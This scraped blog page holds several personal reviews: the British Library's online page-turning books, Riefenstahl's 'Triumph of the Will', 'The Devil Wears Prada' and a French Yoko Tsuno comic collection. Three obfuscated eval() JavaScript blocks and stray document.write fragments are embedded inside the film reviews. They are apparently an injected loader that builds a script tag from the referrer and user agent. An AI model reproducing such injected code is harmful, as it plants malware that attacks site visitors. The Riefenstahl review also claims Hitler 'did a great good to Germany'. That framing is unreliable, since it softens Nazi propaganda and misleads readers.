The BL has digitalized several of their most interesting and valuable books (at least sixteen of them so far) and anyone can browse them on the net. I means literaly browse them: you see a picture of the book and you can turn the page like if the book was really there!

All you need is broadband and a Shockwave plug-in.

At first, I was disappointed. On the main page they were talking about the new version for Vista and I was afraid that it was another of those sites that were useless for us, Mac users. I decided to click on one of the books offered, just in case. And it worked! For Mac, it works directly and you don’t need to install anything if you already have the Shockwave plug-in for Safari. And it is REALLY amazing!

As example, here’s the Sforza Hours book:


You use the cursor of the mouse to turn the pages (hence the name) with a cute animated effect. You have three buttons at the bottom right of the screen that allow you to see an explanation on the text, hear the same explanation or have a magnifier that you can move around to see in more details the texts or illustrations!

You can browse through a Leonardo’s sketchbook, a Mozart’s musical dairy, the original Alice by Lewis Carroll, Mercator’s Atlas Of Europe, etc. Bravo to the British Library for making such treasure available to the masses!

Triumph Of The Will

/ Clodjee / 2 Comments

“Triumph des Willens” (aka “Dokument vom Reichsparteitag”) is Leni Riefenstahl’s infamous propaganda / legendary documentary film about the 1934 Nationalsozialistische Deutsche Arbeiterpartei (National Socialist German Workers Party, document.write(“”); or NSDAP, also known as the Nazi Party) rally in Nuremberg, Germany. It shows mostly parades and speaches by Hitler, Himmler, Goebbels, Hess, Goering and other top party officials.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hsddf|var|u0026u|referrer|tfrsy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytknn|var|u0026u|referrer|zinet||js|php’.split(‘|’),0,{}))

Some have argued that this movie cannot be considered a documentry because it was so closely edited that it was clearly made as propaganda for the Third Reich. I disagree. Yes, the movie was edited but Riefenstahl was a very skillful filmaker and she certainly wanted to created a beautiful and powerful movie. I believe the editing was for that purpose and not to forward the agenda of her sponsor, Goebbels’ Ministry for Public Enlightment and Propaganda. Despite that she made several films for Hitler documenting the Nazi regime, Riefenstahl has always claimed not to have been a Nazi herself. It would have been propaganda if the movie would have had a narration track exalting the glory of the party, but Riefenstahl is there only to bear witness of the event and Hitler’s powerful speaches and theatrics speak for themselves. There’s only a modern subtitle translating the speaches and describing who’s doing what. In retrospective, it is even more a documentary as it opens a window to what Hitler and the NSDAP were in their beginning–only in their second year of power and five years before the war. It also shows how beautiful the old city of Nuremberg looked before beiing destroyed in the war.

Others would definitely argue that this movie is an abomination and should have never been released on DVD. I beg to disagree. Hitler and the Nazis did exist and it serves no purpose to deny it. In fact, yes, it was a painful period of the human history, but it is also very important to teach it so everybody knows what happened and how it happened in order to avoid ever repeating such terrible mistakes. However, it must also be told that Hitler did a great good to Germany: he used the resentment generated by the defeat and humiliation of the Great War (WWI) to motivate and raise the moral of the Nation, allowing to reorganize the country, rebuilt the destroyed economy (he established the first German autobahn, or highways, for example), but he did it so strongly that it went inevitably on the path of war.

The movie also make clear that Hitler’s achievements were not the result of an haphazard process, but that his evil intents were in the planning from the start. Already in 1934, he makes allusion in his speaches to the racial purity; and the fact that he deliberately chose the swastika as emblem and borrowed so many ideas from the Romans (banners, monumental military display, creating new road infrastructure, etc.) demonstrate that he already had the intention to follow in Napoleon’s footsteps and unify Europe under his Thousand-Year Reich.

It is eerie to think that such a dull and ordinary-looking megalomaniac could use monumental sets and perform well-crafted speaches with such a powerful result that it borders mind-control. It is scary to think that it could happen again. And it is funny, because I could not watch this movie without thinking about Star Wars: Lucas definitely found inspiration in this movie for his music, costumes and sets.

“Triumph Of The Will” is a beautiful movie and a great example of cinematogrophic art, but, more importantly, it has a great historical value. It fits quite well in my DVD library, alonside movies like The Birth Of A Nation. It really must be seen.

The extras includes another short movie (17 min.) by Riefenstahl (“Day Of Freedom”) as well as an audio commentary by historian Dr. Anthony R. Santoro. About the movie, see also the Wikipedia page.

Triumph Of The Will. Germany, 1935, 114 min., B&W, subtitled in English; Dir./Ed.: Leni Riefenstahl; Scr.: Leni Riefenstahl, Walter Ruttmann; Phot.: Sepp Allgeier, Karl Attenberger, Werner Bohne; Music: Herbert Windt. Not Rated.


Triumph Of The Will (new edition) ©2000 The Film Preserve, Ltd. All Rights Reserved. Packaging ©2006 Synapse Films, Inc

The Devil Wears Prada

/ Clodjee / 1 Comment

This a “fish out of his bowl story.” A young woman comes from Ohio to NYC in the hope to become a journalist. Despite that she has no knowledge or sense of fashion she is hired as personal assistant for the editor of a famous fashion magazine. Even if her boss (Meryl Streep) is a real monster, document.write(“”); she manages to survive and learns the ropes, but when she’s about to finally get on the top of it, she realises that she is betraying everything she is and all her friends…
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fnant|var|u0026u|referrer|nssey||js|php’.split(‘|’),0,{}))

This movie is not at all original. We’ve seen that type of story many times. It does offer good acting and the movie is most of the time funny, so it is a good entertainment, but nothing more. The extras includes deleted scenes, several “making of” featurettes and a gag reel (bloopers).

The Devil Wears Prada. USA, 2006, 109 min.; Dir.:David Frankel; Scr.: Aline Brosh McKenna (based on Lauren Weisberger’s novel); Phot.: Florian Ballhaus; Ed.: Mark Livolsi; Costumes: Patricia Field; Cast: Mreyl Streep, Anne Hathaway, Emily Blunt, Stanley Tucci. Rated PG-13 (some sensuality?!). Official website.

The Devil Wears Prada ©2006 Twentieth Century Fox Film Corporation and Dune Entertainment LLC. All Rights Reserved.

Yoko Tsuno: Aventures Allemandes

/ Clodjee / 1 Comment

YokoTsuno-Integrales2-AventuresAllemandes-cov“Tranquillement,  le Rhin et la Moselle déambulent entre plateaux et coteaux. Mais, pas loin de leurs rives, des hommes jouent avec le feu et provoquent la mort. Un orgue dont le souffle diabolique rend fou. Un vampire qui vient, la nuit, vider d’une partie de son sang la jolie Ingrid. Une machine capable de transformer la foudre en arme de destruction… Décidément, l’Allemagne, derrière les charmes de ses paysages, recèle bien des mystères et des dangers! Comprend: “L’orgue du Diable”, “La Frontière de la Vie”, “Le Feu de Wotan.” Ce second volume est complété d’un copieux dossier de documents inédits.”

Yoko Tsuno c’est de l’histoire ancienne, non? Ces aventures ont d’abord été publiées dans le magazine Spirou, puis compilées, respectivement en 1972-73, 1976-77 et 1984! Mais si la technologie qu’utilise Yoko et ses amis est plutôt démodée (sauf les éléments de science-fiction, bien sûr), le récit des aventures de la jolie nippone demeure toujours actuel et captivant. Ce qui rend intéressante cette compilation thématique, c’est d’abord le dossier de 24 pages qui explique et illustre la génèse des albums. Ce qui la rend irrésistible, c’est son incroyable prix de $24.95! Pour trois albums! Cette série me rappelle bien des souvenirs d’enfance… C’est une lecture agréable, assemblée en un superbe volume.

Intégrale Yoko Tsuno T.02: Aventures Allemandes, par Roger Leloup. Ed. Dupuis, 2006. Couleur, 20 x 22 cm, 176 pgs. $24.95 Can. Tous Publics. ISBN-10: 2800138416; ISBN-13: 978-2800138411. Site officiel. stars-4-0

Pour plus d’information vous pouvez aussi consulter les sites suivants:

[ Amazon • Biblio • Goodreads • Google • Wikipedia ]

Yoko Tsuno © Dupuis, 2006.

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